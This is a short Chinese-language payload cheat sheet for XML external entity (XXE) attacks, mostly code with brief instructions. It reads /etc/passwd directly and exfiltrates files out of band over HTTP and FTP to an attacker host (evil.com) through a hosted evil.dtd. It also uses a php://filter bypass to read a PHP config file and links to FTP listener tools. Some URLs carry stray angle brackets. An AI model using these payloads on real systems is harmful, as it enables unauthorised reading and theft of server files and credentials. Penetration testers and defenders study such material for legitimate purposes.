# xxe漏洞快速验证Payload

有回显，用以下poc直接读取/etc/passwd：

```
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
```

无回显，先在攻击者服务器www.evil.com开启web服务：python3 -m http.server 80，随后用以下poc利用http请求将文件内容外带：

```
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "<http://www.evil.com/?%xxe;>">]><foo>&blind;</foo>
```

file协议被限制，可尝试伪协议进行绕过（以php环境为例）：

```
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-
encode/resource=/var/html/www/config.php">]>
<foo><result>&ac;</result></foo>
```

无回显，http 只可以读单行文件，此时通过FTP协议读取文件内容（在通过ftp利用Bind OOB XXE时，对版本有限制， jdk版本 小于 7u141 和 小于 8u162 才可以读取整个文件），poc：

```
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "<http://evil.com/evil.dtd>">
    %xd;
]>
<root>&bbbb;</root>
```

攻击者服务器上放置的evil.dtd文件：

```
<!ENTITY % aaaa SYSTEM "file:///home/etc/passwd">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM '<ftp://evil.com:21/%aaaa;>'>">
%demo;
```

在读取的时候需要在攻击者服务器上架设一个FTP服务器（介绍几个常用的）：

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

https://github.com/lc/230-OOB